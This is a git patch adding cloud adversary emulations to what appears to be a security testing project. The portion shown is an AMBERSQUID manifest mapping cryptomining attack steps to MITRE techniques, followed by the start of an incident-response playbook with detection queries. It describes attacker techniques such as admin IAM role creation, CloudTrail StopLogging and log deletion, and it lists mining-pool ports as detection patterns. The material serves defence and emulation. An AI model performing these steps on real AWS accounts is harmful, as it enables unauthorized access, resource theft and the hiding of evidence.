From de44e4d0f95850c1d24b56f69baeb3dc84abd044 Mon Sep 17 00:00:00 2001 From: Ayush Pathak Date: Sat, 20 Jun 2026 22:01:08 +0530 Subject: [PATCH 01/18] Migrated APT emulations --- emulations/ambersquid/MANIFEST.py | 242 +++ emulations/ambersquid/PLAYBOOK.md | 739 ++++++++ emulations/ambersquid/__init__.py | 0 emulations/ambersquid/attack.py | 1158 ++++++++++++ .../detections/detection_note_t1204.003.md | 79 + .../detections/detection_note_t1496.md | 101 + .../detections/detection_note_t1583.001.md | 73 + .../detections/detection_note_t1608.001.md | 113 ++ .../ambersquid/detections/kql_t1059.009.kql | 83 + .../ambersquid/detections/kql_t1070.kql | 96 + .../ambersquid/detections/kql_t1078.004.kql | 49 + .../ambersquid/detections/kql_t1098.001.kql | 57 + .../ambersquid/detections/kql_t1136.003.kql | 60 + .../ambersquid/detections/kql_t1525.kql | 72 + .../ambersquid/detections/kql_t1578.002.kql | 75 + .../ambersquid/detections/kql_t1580.kql | 79 + .../ambersquid/detections/kql_t1583.001.kql | 74 + .../ambersquid/detections/kql_t1608.001.kql | 72 + .../ambersquid/detections/kql_t1610.kql | 73 + .../ambersquid/detections/sigma_t1059.009.yml | 65 + .../ambersquid/detections/sigma_t1070.yml | 81 + .../ambersquid/detections/sigma_t1078.004.yml | 57 + .../ambersquid/detections/sigma_t1098.001.yml | 52 + .../ambersquid/detections/sigma_t1136.003.yml | 55 + .../ambersquid/detections/sigma_t1525.yml | 72 + .../ambersquid/detections/sigma_t1578.002.yml | 74 + .../ambersquid/detections/sigma_t1580.yml | 68 + .../ambersquid/detections/sigma_t1583.001.yml | 47 + .../ambersquid/detections/sigma_t1608.001.yml | 58 + .../ambersquid/detections/sigma_t1610.yml | 64 + emulations/ambersquid/infra/Pulumi.yaml | 3 + emulations/ambersquid/infra/__init__.py | 0 emulations/ambersquid/infra/__main__.py | 589 ++++++ emulations/ambersquid/infra/requirements.txt | 2 + emulations/codefinger/MANIFEST.py | 191 ++ emulations/codefinger/PLAYBOOK.md | 532 ++++++ emulations/codefinger/__init__.py | 0 emulations/codefinger/attack.py | 592 ++++++ emulations/codefinger/detections/README.md | 36 + .../codefinger/detections/kql_t1078.004.kql | 72 + .../codefinger/detections/kql_t1485.kql | 124 ++ .../codefinger/detections/kql_t1486.kql | 130 ++ .../codefinger/detections/kql_t1490.kql | 133 ++ .../codefinger/detections/kql_t1530.kql | 120 ++ .../codefinger/detections/sigma_t1078.004.yml | 79 + .../codefinger/detections/sigma_t1485.yml | 83 + .../codefinger/detections/sigma_t1486.yml | 80 + .../codefinger/detections/sigma_t1490.yml | 83 + .../codefinger/detections/sigma_t1530.yml | 49 + emulations/codefinger/infra/Pulumi.yaml | 3 + emulations/codefinger/infra/__init__.py | 0 emulations/codefinger/infra/__main__.py | 409 ++++ emulations/codefinger/infra/requirements.txt | 3 + emulations/lucr_3/MANIFEST.py | 365 ++++ emulations/lucr_3/PLAYBOOK.md | 800 ++++++++ emulations/lucr_3/__init__.py | 0 emulations/lucr_3/attack.py | 1668 +++++++++++++++++ .../detections/detection_note_T1021.004.md | 39 + .../lucr_3/detections/detection_note_T1072.md | 45 + .../lucr_3/detections/detection_note_T1111.md | 35 + .../lucr_3/detections/kql_T1070.008.kql | 21 + .../lucr_3/detections/kql_T1078.004_aws.kql | 25 + .../lucr_3/detections/kql_T1078.004_okta.kql | 26 + emulations/lucr_3/detections/kql_T1082.kql | 24 + .../lucr_3/detections/kql_T1098.001.kql | 27 + .../lucr_3/detections/kql_T1098.005.kql | 27 + emulations/lucr_3/detections/kql_T1098.kql | 23 + .../lucr_3/detections/kql_T1136.003.kql | 31 + .../lucr_3/detections/kql_T1213.002.kql | 27 + .../lucr_3/detections/kql_T1213.003.kql | 26 + emulations/lucr_3/detections/kql_T1530.kql | 28 + .../lucr_3/detections/kql_T1550.001.kql | 20 + .../lucr_3/detections/kql_T1555.006.kql | 28 + .../lucr_3/detections/kql_T1562.001.kql | 25 + .../lucr_3/detections/kql_T1562.008.kql | 21 + .../lucr_3/detections/kql_T1578.002.kql | 26 + emulations/lucr_3/detections/kql_T1580.kql | 29 + emulations/lucr_3/detections/kql_T1619.kql | 24 + emulations/lucr_3/detections/kql_T1621.kql | 25 + .../lucr_3/detections/sigma_T1070.008.yml | 37 + .../lucr_3/detections/sigma_T1078.004_aws.yml | 40 + .../detections/sigma_T1078.004_okta.yml | 37 + emulations/lucr_3/detections/sigma_T1082.yml | 41 + .../lucr_3/detections/sigma_T1098.001.yml | 38 + .../lucr_3/detections/sigma_T1098.005.yml | 35 + emulations/lucr_3/detections/sigma_T1098.yml | 36 + .../lucr_3/detections/sigma_T1136.003.yml | 40 + .../lucr_3/detections/sigma_T1213.002.yml | 35 + .../lucr_3/detections/sigma_T1213.003.yml | 37 + emulations/lucr_3/detections/sigma_T1530.yml | 38 + .../lucr_3/detections/sigma_T1550.001.yml | 37 + .../lucr_3/detections/sigma_T1555.006.yml | 39 + .../lucr_3/detections/sigma_T1562.001.yml | 35 + .../lucr_3/detections/sigma_T1562.008.yml | 34 + .../lucr_3/detections/sigma_T1578.002.yml | 36 + emulations/lucr_3/detections/sigma_T1580.yml | 44 + emulations/lucr_3/detections/sigma_T1619.yml | 41 + emulations/lucr_3/detections/sigma_T1621.yml | 31 + emulations/lucr_3/infra/Pulumi.yaml | 3 + emulations/lucr_3/infra/__init__.py | 0 emulations/lucr_3/infra/__main__.py | 1206 ++++++++++++ emulations/lucr_3/infra/requirements.txt | 5 + 102 files changed, 12661 insertions(+) create mode 100644 emulations/ambersquid/MANIFEST.py create mode 100644 emulations/ambersquid/PLAYBOOK.md create mode 100644 emulations/ambersquid/__init__.py create mode 100644 emulations/ambersquid/attack.py create mode 100644 emulations/ambersquid/detections/detection_note_t1204.003.md create mode 100644 emulations/ambersquid/detections/detection_note_t1496.md create mode 100644 emulations/ambersquid/detections/detection_note_t1583.001.md create mode 100644 emulations/ambersquid/detections/detection_note_t1608.001.md create mode 100644 emulations/ambersquid/detections/kql_t1059.009.kql create mode 100644 emulations/ambersquid/detections/kql_t1070.kql create mode 100644 emulations/ambersquid/detections/kql_t1078.004.kql create mode 100644 emulations/ambersquid/detections/kql_t1098.001.kql create mode 100644 emulations/ambersquid/detections/kql_t1136.003.kql create mode 100644 emulations/ambersquid/detections/kql_t1525.kql create mode 100644 emulations/ambersquid/detections/kql_t1578.002.kql create mode 100644 emulations/ambersquid/detections/kql_t1580.kql create mode 100644 emulations/ambersquid/detections/kql_t1583.001.kql create mode 100644 emulations/ambersquid/detections/kql_t1608.001.kql create mode 100644 emulations/ambersquid/detections/kql_t1610.kql create mode 100644 emulations/ambersquid/detections/sigma_t1059.009.yml create mode 100644 emulations/ambersquid/detections/sigma_t1070.yml create mode 100644 emulations/ambersquid/detections/sigma_t1078.004.yml create mode 100644 emulations/ambersquid/detections/sigma_t1098.001.yml create mode 100644 emulations/ambersquid/detections/sigma_t1136.003.yml create mode 100644 emulations/ambersquid/detections/sigma_t1525.yml create mode 100644 emulations/ambersquid/detections/sigma_t1578.002.yml create mode 100644 emulations/ambersquid/detections/sigma_t1580.yml create mode 100644 emulations/ambersquid/detections/sigma_t1583.001.yml create mode 100644 emulations/ambersquid/detections/sigma_t1608.001.yml create mode 100644 emulations/ambersquid/detections/sigma_t1610.yml create mode 100644 emulations/ambersquid/infra/Pulumi.yaml create mode 100644 emulations/ambersquid/infra/__init__.py create mode 100644 emulations/ambersquid/infra/__main__.py create mode 100644 emulations/ambersquid/infra/requirements.txt create mode 100644 emulations/codefinger/MANIFEST.py create mode 100644 emulations/codefinger/PLAYBOOK.md create mode 100644 emulations/codefinger/__init__.py create mode 100644 emulations/codefinger/attack.py create mode 100644 emulations/codefinger/detections/README.md create mode 100644 emulations/codefinger/detections/kql_t1078.004.kql create mode 100644 emulations/codefinger/detections/kql_t1485.kql create mode 100644 emulations/codefinger/detections/kql_t1486.kql create mode 100644 emulations/codefinger/detections/kql_t1490.kql create mode 100644 emulations/codefinger/detections/kql_t1530.kql create mode 100644 emulations/codefinger/detections/sigma_t1078.004.yml create mode 100644 emulations/codefinger/detections/sigma_t1485.yml create mode 100644 emulations/codefinger/detections/sigma_t1486.yml create mode 100644 emulations/codefinger/detections/sigma_t1490.yml create mode 100644 emulations/codefinger/detections/sigma_t1530.yml create mode 100644 emulations/codefinger/infra/Pulumi.yaml create mode 100644 emulations/codefinger/infra/__init__.py create mode 100644 emulations/codefinger/infra/__main__.py create mode 100644 emulations/codefinger/infra/requirements.txt create mode 100644 emulations/lucr_3/MANIFEST.py create mode 100644 emulations/lucr_3/PLAYBOOK.md create mode 100644 emulations/lucr_3/__init__.py create mode 100644 emulations/lucr_3/attack.py create mode 100644 emulations/lucr_3/detections/detection_note_T1021.004.md create mode 100644 emulations/lucr_3/detections/detection_note_T1072.md create mode 100644 emulations/lucr_3/detections/detection_note_T1111.md create mode 100644 emulations/lucr_3/detections/kql_T1070.008.kql create mode 100644 emulations/lucr_3/detections/kql_T1078.004_aws.kql create mode 100644 emulations/lucr_3/detections/kql_T1078.004_okta.kql create mode 100644 emulations/lucr_3/detections/kql_T1082.kql create mode 100644 emulations/lucr_3/detections/kql_T1098.001.kql create mode 100644 emulations/lucr_3/detections/kql_T1098.005.kql create mode 100644 emulations/lucr_3/detections/kql_T1098.kql create mode 100644 emulations/lucr_3/detections/kql_T1136.003.kql create mode 100644 emulations/lucr_3/detections/kql_T1213.002.kql create mode 100644 emulations/lucr_3/detections/kql_T1213.003.kql create mode 100644 emulations/lucr_3/detections/kql_T1530.kql create mode 100644 emulations/lucr_3/detections/kql_T1550.001.kql create mode 100644 emulations/lucr_3/detections/kql_T1555.006.kql create mode 100644 emulations/lucr_3/detections/kql_T1562.001.kql create mode 100644 emulations/lucr_3/detections/kql_T1562.008.kql create mode 100644 emulations/lucr_3/detections/kql_T1578.002.kql create mode 100644 emulations/lucr_3/detections/kql_T1580.kql create mode 100644 emulations/lucr_3/detections/kql_T1619.kql create mode 100644 emulations/lucr_3/detections/kql_T1621.kql create mode 100644 emulations/lucr_3/detections/sigma_T1070.008.yml create mode 100644 emulations/lucr_3/detections/sigma_T1078.004_aws.yml create mode 100644 emulations/lucr_3/detections/sigma_T1078.004_okta.yml create mode 100644 emulations/lucr_3/detections/sigma_T1082.yml create mode 100644 emulations/lucr_3/detections/sigma_T1098.001.yml create mode 100644 emulations/lucr_3/detections/sigma_T1098.005.yml create mode 100644 emulations/lucr_3/detections/sigma_T1098.yml create mode 100644 emulations/lucr_3/detections/sigma_T1136.003.yml create mode 100644 emulations/lucr_3/detections/sigma_T1213.002.yml create mode 100644 emulations/lucr_3/detections/sigma_T1213.003.yml create mode 100644 emulations/lucr_3/detections/sigma_T1530.yml create mode 100644 emulations/lucr_3/detections/sigma_T1550.001.yml create mode 100644 emulations/lucr_3/detections/sigma_T1555.006.yml create mode 100644 emulations/lucr_3/detections/sigma_T1562.001.yml create mode 100644 emulations/lucr_3/detections/sigma_T1562.008.yml create mode 100644 emulations/lucr_3/detections/sigma_T1578.002.yml create mode 100644 emulations/lucr_3/detections/sigma_T1580.yml create mode 100644 emulations/lucr_3/detections/sigma_T1619.yml create mode 100644 emulations/lucr_3/detections/sigma_T1621.yml create mode 100644 emulations/lucr_3/infra/Pulumi.yaml create mode 100644 emulations/lucr_3/infra/__init__.py create mode 100644 emulations/lucr_3/infra/__main__.py create mode 100644 emulations/lucr_3/infra/requirements.txt diff --git a/emulations/ambersquid/MANIFEST.py b/emulations/ambersquid/MANIFEST.py new file mode 100644 index 0000000..378fcf2 --- /dev/null +++ b/emulations/ambersquid/MANIFEST.py @@ -0,0 +1,242 @@ +"""MANIFEST for the AMBERSQUID adversary emulation.""" + +MANIFEST = { + "schema_version": 1, + + # ── Identity ───────────────────────────────────────────────────────────── + "name": "ambersquid", + "display_name": "AMBERSQUID", + "description": ( + "13-technique AWS cryptomining emulation based on the AMBERSQUID campaign: " + "victim credentials injected via malicious container, IAM role persistence " + "(AWSCodeCommit-Role / sugo-role / ecsTaskExecutionRole), multi-service miner " + "deployment across Amplify, ECS Fargate, SageMaker, CodeBuild and CodeCommit " + "(simulated), followed by CloudTrail StopLogging and indicator removal. " + "Attributed to Indonesian-origin financially motivated threat actors." + ), + "tier": "enterprise", + + # ── Readiness ───────────────────────────────────────────────────────────── + "readiness": {"type": "none"}, + + # ── UI catalogue metadata ────────────────────────────────────────────────── + "origin": "unknown", + "origin_label": "APT EMULATION", + "tags": [ + "Cryptomining", + "Container Abuse", + "IAM Persistence", + "Multi-Service Deployment", + "CloudTrail Evasion", + "ECS Fargate", + "SageMaker", + "CodeBuild", + ], + "technique_count": 13, + "severity": "CRITICAL", + "aliases": "", + "attribution": "AMBERSQUID (Indonesia, financially motivated) — SRBMiner cryptomining across 16 AWS regions", + "active_since": "Documented by Sysdig Threat Research Team (2023)", + "targets": "AWS accounts with over-permissioned long-term IAM keys accessible via container env vars", + "incidents": [ + "AMBERSQUID Cloud-Native Cryptomining Operation (Sysdig TRT)", + ], + + # ── Kill-chain phases ────────────────────────────────────────────────────── + "attack_path": [ + { + "phase": 1, + "name": "Resource Development (Documented)", + "techniques": [ + {"id": "T1583.001", "name": "Acquire Infrastructure: Domains"}, + {"id": "T1608.001", "name": "Stage Capabilities: Upload Malware"}, + ], + }, + { + "phase": 2, + "name": "Initial Execution: Malicious Container", + "techniques": [ + {"id": "T1204.003", "name": "User Execution: Malicious Image"}, + {"id": "T1078.004", "name": "Valid Accounts: Cloud Accounts"}, + ], + }, + { + "phase": 3, + "name": "Persistence & Privilege Escalation", + "techniques": [ + {"id": "T1136.003", "name": "Create Account: Cloud Account"}, + {"id": "T1098.001", "name": "Account Manipulation: Additional Cloud Credentials"}, + ], + }, + { + "phase": 4, + "name": "Execution: Multi-Service Miner Deployment", + "techniques": [ + {"id": "T1059.009", "name": "Command and Scripting Interpreter: Cloud API"}, + {"id": "T1580", "name": "Cloud Infrastructure Discovery"}, + {"id": "T1525", "name": "Implant Internal Image"}, + {"id": "T1610", "name": "Deploy Container"}, + {"id": "T1578.002", "name": "Modify Cloud Compute Infrastructure: Create Cloud Instance"}, + ], + }, + { + "phase": 5, + "name": "Defense Evasion & Impact", + "techniques": [ + {"id": "T1070", "name": "Indicator Removal"}, + {"id": "T1496", "name": "Resource Hijacking"}, + ], + }, + ], + + # ── Full MITRE mappings ──────────────────────────────────────────────────── + "mitre_mappings": [ + { + "id": "T1583.001", + "name": "Acquire Infrastructure: Domains", + "tactic": "Resource Development", + "platform": "Docker Hub / amplifyapp.com", + "description": "Attacker registered Docker Hub accounts and amplifyapp subdomain for staging malicious SRBMiner images. DOCUMENTED ONLY.", + }, + { + "id": "T1608.001", + "name": "Stage Capabilities: Upload Malware", + "tactic": "Resource Development", + "platform": "Docker Hub", + "description": "UPX-packed SRBMiner-MULTI container pushed to Docker Hub bypassing static AV. SIMULATED — emulation uses a mock-sleep binary.", + }, + { + "id": "T1204.003", + "name": "User Execution: Malicious Image", + "tactic": "Execution", + "platform": "ECS Fargate", + "description": "Victim runs the malicious container with AWS credentials injected as env vars; entrypoint.sh launches attack scripts.", + }, + { + "id": "T1078.004", + "name": "Valid Accounts: Cloud Accounts", + "tactic": "Defense Evasion", + "platform": "AWS IAM / STS", + "description": "Container uses victim long-lived IAM credentials from env vars; GetCallerIdentity + GetUser validate the session.", + }, + { + "id": "T1136.003", + "name": "Create Account: Cloud Account", + "tactic": "Persistence", + "platform": "AWS IAM", + "description": "Creates IAM roles AWSCodeCommit-Role, sugo-role, and ecsTaskExecutionRole with trust policies enabling cross-service access.", + }, + { + "id": "T1098.001", + "name": "Account Manipulation: Additional Cloud Credentials", + "tactic": "Persistence", + "platform": "AWS IAM", + "description": "Attaches AdministratorAccess and full-service managed policies to attacker-created IAM roles via AttachRolePolicy and PutRolePolicy.", + }, + { + "id": "T1059.009", + "name": "Command and Scripting Interpreter: Cloud API", + "tactic": "Execution", + "platform": "AWS multi-service", + "description": "Shell scripts invoke AWS API across services: Amplify CreateApp, CodeCommit CreateRepository, CodeBuild CreateProject, ECS CreateCluster/RegisterTaskDefinition, SageMaker CreateNotebookInstance.", + }, + { + "id": "T1580", + "name": "Cloud Infrastructure Discovery", + "tactic": "Discovery", + "platform": "AWS EC2 / IAM / STS", + "description": "Scripts enumerate available regions, account quotas, IAM roles/users, and S3 buckets to plan multi-region miner deployment.", + }, + { + "id": "T1525", + "name": "Implant Internal Image", + "tactic": "Persistence", + "platform": "AWS CodeCommit", + "description": "Push miner scripts to CodeCommit as build source for Amplify and CodeBuild pipelines. SIMULATED — empty repo, no malicious binaries.", + }, + { + "id": "T1610", + "name": "Deploy Container", + "tactic": "Defense Evasion", + "platform": "Amazon ECS Fargate", + "description": "ECS task definition registered for Fargate miner; SIMULATED — RegisterTaskDefinition only, service not created.", + }, + { + "id": "T1578.002", + "name": "Modify Cloud Compute Infrastructure: Create Cloud Instance", + "tactic": "Defense Evasion", + "platform": "AWS multi-service", + "description": "EC2 Auto Scaling, CloudFormation, SageMaker notebooks, EC2 ImageBuilder pipelines. SIMULATED — dry-run describe calls only.", + }, + { + "id": "T1070", + "name": "Indicator Removal", + "tactic": "Defense Evasion", + "platform": "AWS CloudTrail / S3", + "description": "StopLogging on CloudTrail trail, DeleteObject on most recent CT log file, and DeleteRepository on CodeCommit repos.", + }, + { + "id": "T1496", + "name": "Resource Hijacking", + "tactic": "Impact", + "platform": "EC2 / ECS / SageMaker", + "description": "SRBMiner-MULTI mines ZEPHYR and Monero. SIMULATED — DescribeTasks on mock miner task; no real mining or network connections.", + }, + ], + + # ── References ──────────────────────────────────────────────────────────── + "references": [ + { + "icon": ">", + "title": "AMBERSQUID Cloud-Native Cryptomining Operation", + "source": "Sysdig TRT · sysdig.com", + "type": "REPORT", + "color": "cyan", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1610: Deploy Container", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "#", + "title": "MITRE ATT&CK — T1578.002: Modify Cloud Compute Infrastructure", + "source": "MITRE ATT&CK · mitre.org", + "type": "MITRE", + "color": "purple", + }, + { + "icon": "~", + "title": "AWS Security Best Practices: Least Privilege IAM Roles", + "source": "AWS Security Blog", + "type": "DOCUMENTATION", + "color": "orange", + }, + ], + + # ── Infrastructure & cost ───────────────────────────────────────────────── + "phase_count": 5, + "estimated_duration_minutes": 60, + "estimated_cost_per_hour_usd": 0.0027, + "default_ttl_hours": 4, + "total_resources": 17, + "resources": { + "ec2_count": 0, + "instance_types": [], + "uses_lambda": False, + "uses_secrets_manager": True, + "uses_cloudtrail": True, + "uses_guardduty": False, + }, + "resource_costs": [ + {"name": "CloudTrail trail", "count": 1, "cost_per_hour_usd": 0.0014}, + {"name": "Secrets Manager secret","count": 1, "cost_per_hour_usd": 0.00056}, + {"name": "CloudWatch log group", "count": 1, "cost_per_hour_usd": 0.0007}, + {"name": "ECS cluster", "count": 1, "cost_per_hour_usd": 0.0}, + {"name": "S3 buckets", "count": 2, "cost_per_hour_usd": 0.0}, + {"name": "IAM roles + users", "count": 4, "cost_per_hour_usd": 0.0}, + {"name": "VPC / subnet / SG", "count": 3, "cost_per_hour_usd": 0.0}, + ], +} diff --git a/emulations/ambersquid/PLAYBOOK.md b/emulations/ambersquid/PLAYBOOK.md new file mode 100644 index 0000000..10f7495 --- /dev/null +++ b/emulations/ambersquid/PLAYBOOK.md @@ -0,0 +1,739 @@ +# IR Playbook: AMBERSQUID — AWS Cryptomining Campaign + +## Classification + +| Field | Value | +|-------|-------| +| Incident Type | Cloud Cryptomining / Resource Hijacking | +| Threat Actor | AMBERSQUID | +| Attribution | Indonesia (financial motivation) | +| Platform | aws | +| Severity | Critical | +| MITRE Tactics | Resource Development, Execution, Persistence, Discovery, Defense Evasion, Impact | +| MITRE Techniques | T1583.001, T1608.001, T1204.003, T1078.004, T1136.003, T1098.001, T1059.009, T1525, T1580, T1610, T1578.002, T1070, T1496 | + +--- + +## 1. Preparation + +### Prerequisites Before This Incident + +**Logging & Visibility** +- CloudTrail multi-region trail enabled, delivering to S3 with MFA delete and object versioning +- CloudTrail log file validation enabled +- GuardDuty enabled in all regions with ECS Protection and S3 Protection enabled +- AWS Config enabled with conformance pack for CIS AWS Foundations Benchmark +- Security Hub enabled with AWS Foundational Security Best Practices standard +- VPC Flow Logs enabled on all VPCs, delivered to CloudWatch Logs or S3 +- ECS Container Insights enabled + +**Alerting (must be pre-configured)** +- CloudWatch alarm on `CloudTrail:StopLogging` metric filter — this fires BEFORE the API call completes +- GuardDuty findings SNS → PagerDuty/Slack integration +- AWS Budgets anomaly alert for compute spend spike (>200% of baseline) +- EventBridge rule on `iam:CreateRole` + `iam:AttachRolePolicy` with `AdministratorAccess` policy ARN + +**Response Tooling** +- AWS CLI v2 configured with break-glass responder credentials (separate from victim user) +- `jq` installed for JSON parsing in response scripts +- IAM runbook with role isolation procedures +- CloudTrail log S3 bucket with S3 Object Lock (WORM) on at least 30-day retention + +**Known IOC Baselines** +- Maintain a list of legitimate IAM roles — flag any role named `AWSCodeCommit-Role`, `sugo-role`, `ecsTaskExecutionRole` not in baseline +- Inventory legitimate Amplify apps, CodeBuild projects, SageMaker notebooks per account + +--- + +## 2. Identification + +### Detection Triggers (prioritized) + +#### HIGH-CONFIDENCE — Always Indicate Compromise + +| Priority | Event / Signal | Source | MITRE | +|----------|---------------|--------|-------| +| P0 | `cloudtrail:StopLogging` called from non-console session | CloudTrail / CloudWatch Alarm | T1070 | +| P0 | `iam:AttachRolePolicy` with `AdministratorAccess` attached to attacker-created role | CloudTrail | T1136.003 | +| P0 | GuardDuty: `Stealth:IAMUser/CloudTrailLoggingDisabled` | GuardDuty | T1070 | +| P1 | `iam:CreateRole` naming `AWSCodeCommit-Role`, `sugo-role`, or `ecsTaskExecutionRole` from IAM user session | CloudTrail | T1136.003 | +| P1 | `sts:AssumeRole` to `ecsTaskExecutionRole` (or `sugo-role`) within seconds of `iam:CreateRole` | CloudTrail | T1098.001 | +| P1 | `s3:GetObject` on `terraform.tfstate` key from non-pipeline principal | CloudTrail | T1580 | +| P1 | `secretsmanager:GetSecretValue` on `prod/database/master_credentials` from non-application principal | CloudTrail | T1580 | +| P1 | ECS task definition registered with `executionRoleArn` bearing `AdministratorAccess` | CloudTrail | T1610 | + +#### MEDIUM-CONFIDENCE — May Indicate Compromise + +| Priority | Event / Signal | Source | MITRE | +|----------|---------------|--------|-------| +| P2 | `amplify:CreateApp` with CodeCommit source from non-console IAM user | CloudTrail | T1059.009 | +| P2 | `codebuild:CreateProject` targeting internal CodeCommit repo from non-console session | CloudTrail | T1059.009 | +| P2 | `sagemaker:CreateNotebookInstance` with external role ARN | CloudTrail | T1059.009 | +| P2 | Burst of `iam:ListRoles` + `iam:ListUsers` + `iam:GetAccountSummary` within 60 seconds | CloudTrail | T1580 | +| P2 | `s3:ListBuckets` immediately followed by `s3:GetObject` on infrastructure buckets | CloudTrail | T1580 | +| P2 | `ecs:RegisterTaskDefinition` with `WALLET` or `POOL` environment variable names | CloudTrail | T1610 | +| P2 | AWS Budget anomaly: >300% compute spend spike in ECS, SageMaker, CodeBuild line items | AWS Budgets | T1496 | +| P3 | GuardDuty: `CryptoCurrency:EC2/BitcoinTool.B!DNS` or `UnauthorizedAccess:IAMUser/MaliciousIPCaller` | GuardDuty | T1496 | +| P3 | Outbound VPC Flow Logs to ports 3333, 4444, 5555, 7777, 8888, 9999, 14444, 45560 | VPC Flow Logs | T1496 | + +--- + +### Key Investigation Queries + +#### Query 1 — Confirm CloudTrail StopLogging event + +```bash +# Look back 2 hours for StopLogging (adjust --start-time as needed) +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=StopLogging \ + --start-time "$(date -u -d '2 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --query 'Events[*].{Time:EventTime,User:Username,SourceIP:CloudTrailEvent}' \ + --output table + +# Full event JSON for forensic detail +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=StopLogging \ + --start-time "$(date -u -d '2 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --query 'Events[*].CloudTrailEvent' \ + --output text | jq -r '.' +``` + +#### Query 2 — Identify attacker IAM roles created + +```bash +# Find CreateRole events for known AMBERSQUID role names +for ROLE in "AWSCodeCommit-Role" "sugo-role" "ecsTaskExecutionRole"; do + echo "=== Searching for CreateRole: $ROLE ===" + aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=ResourceName,AttributeValue="$ROLE" \ + --start-time "$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --query 'Events[*].CloudTrailEvent' \ + --output text | jq -r '. | {time: .eventTime, user: .userIdentity.arn, event: .eventName, role: .requestParameters.roleName}' +done + +# List all IAM roles created in last 24h regardless of name +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=CreateRole \ + --start-time "$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --query 'Events[*].CloudTrailEvent' \ + --output text | jq -r '. | {time: .eventTime, caller: .userIdentity.arn, roleName: .requestParameters.roleName}' +``` + +#### Query 3 — Map the AssumeRole credential chain + +```bash +# Find all AssumeRole calls in last 4h — reveals the role-hopping credential chain +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --query 'Events[*].CloudTrailEvent' \ + --output text | jq -r '. | {time: .eventTime, caller: .userIdentity.arn, roleArn: .requestParameters.roleArn, sessionName: .requestParameters.roleSessionName, sourceIP: .sourceIPAddress}' +``` + +#### Query 4 — Identify miner infrastructure provisioned + +```bash +# Amplify app creation +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=CreateApp \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --output text --query 'Events[*].CloudTrailEvent' | jq -r '.' + +# CodeBuild project creation +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=CreateProject \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --output text --query 'Events[*].CloudTrailEvent' | jq -r '.' + +# SageMaker notebook creation +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=CreateNotebookInstance \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --output text --query 'Events[*].CloudTrailEvent' | jq -r '.' + +# ECS task definitions with miner indicators +aws ecs list-task-definitions --region us-east-1 --output text | grep -E "miner|task1?$" +aws ecs list-clusters --region us-east-1 --output json | jq -r '.clusterArns[]' | grep -E "miner|task" +``` + +#### Query 5 — Canary access confirmation (terraform.tfstate / secrets) + +```bash +# S3 GetObject on terraform state +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=GetObject \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --output text --query 'Events[*].CloudTrailEvent' | \ + jq -r 'select(.requestParameters.key | test("terraform.tfstate")) | {time: .eventTime, caller: .userIdentity.arn, bucket: .requestParameters.bucketName, key: .requestParameters.key, sourceIP: .sourceIPAddress}' + +# SecretsManager GetSecretValue on canary +aws cloudtrail lookup-events \ + --lookup-attributes AttributeKey=EventName,AttributeValue=GetSecretValue \ + --start-time "$(date -u -d '4 hours ago' +%Y-%m-%dT%H:%M:%SZ)" \ + --region us-east-1 \ + --output text --query 'Events[*].CloudTrailEvent' | \ + jq -r '{time: .eventTime, caller: .userIdentity.arn, secretId: .requestParameters.secretId, sourceIP: .sourceIPAddress}' +``` + +#### Query 6 — Multi-region sweep (AMBERSQUID operates across 16 regions) + +```bash +# Get all enabled regions +REGIONS=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +# Check for miner resources in all regions +for REGION in $REGIONS; do + echo "=== $REGION ===" + + # ECS clusters + aws ecs list-clusters --region "$REGION" --query 'clusterArns' --output text 2>/dev/null | grep -E "miner|task" && echo " [!] ECS cluster found in $REGION" + + # SageMaker notebooks + aws sagemaker list-notebook-instances --region "$REGION" --query 'NotebookInstances[*].NotebookInstanceName' --output text 2>/dev/null | grep -E "miner|note" && echo " [!] SageMaker notebook found in $REGION" + + # Amplify apps + aws amplify list-apps --region "$REGION" --query 'apps[*].name' --output text 2>/dev/null | grep -E "miner" && echo " [!] Amplify app found in $REGION" + + # Auto Scaling groups named task or task1 + aws autoscaling describe-auto-scaling-groups --region "$REGION" --query 'AutoScalingGroups[?contains(AutoScalingGroupName, `task`)].AutoScalingGroupName' --output text 2>/dev/null +done +``` + +#### Query 7 — Enumerate VPC Flow Logs for mining pool connections + +```bash +# Query CloudWatch Logs for outbound connections to known mining ports +LOG_GROUP="/vpc-flow-logs" # adjust to your log group name +START=$(date -u -d '2 hours ago' +%s)000 + +aws logs filter-log-events \ + --log-group-name "$LOG_GROUP" \ + --start-time "$START" \ + --filter-pattern "[version, account, eni, source, destination, srcport, destport IN [3333,4444,5555,7777,8888,9999,14444,45560], protocol, packets, bytes, windowstart, windowend, action=ACCEPT, flowlogstatus]" \ + --query 'events[*].message' \ + --output text 2>/dev/null | head -50 +``` + +--- + +## 3. Containment + +### Immediate Actions (first 15 minutes) + +#### Step 1 — Re-enable CloudTrail if disabled (DO THIS 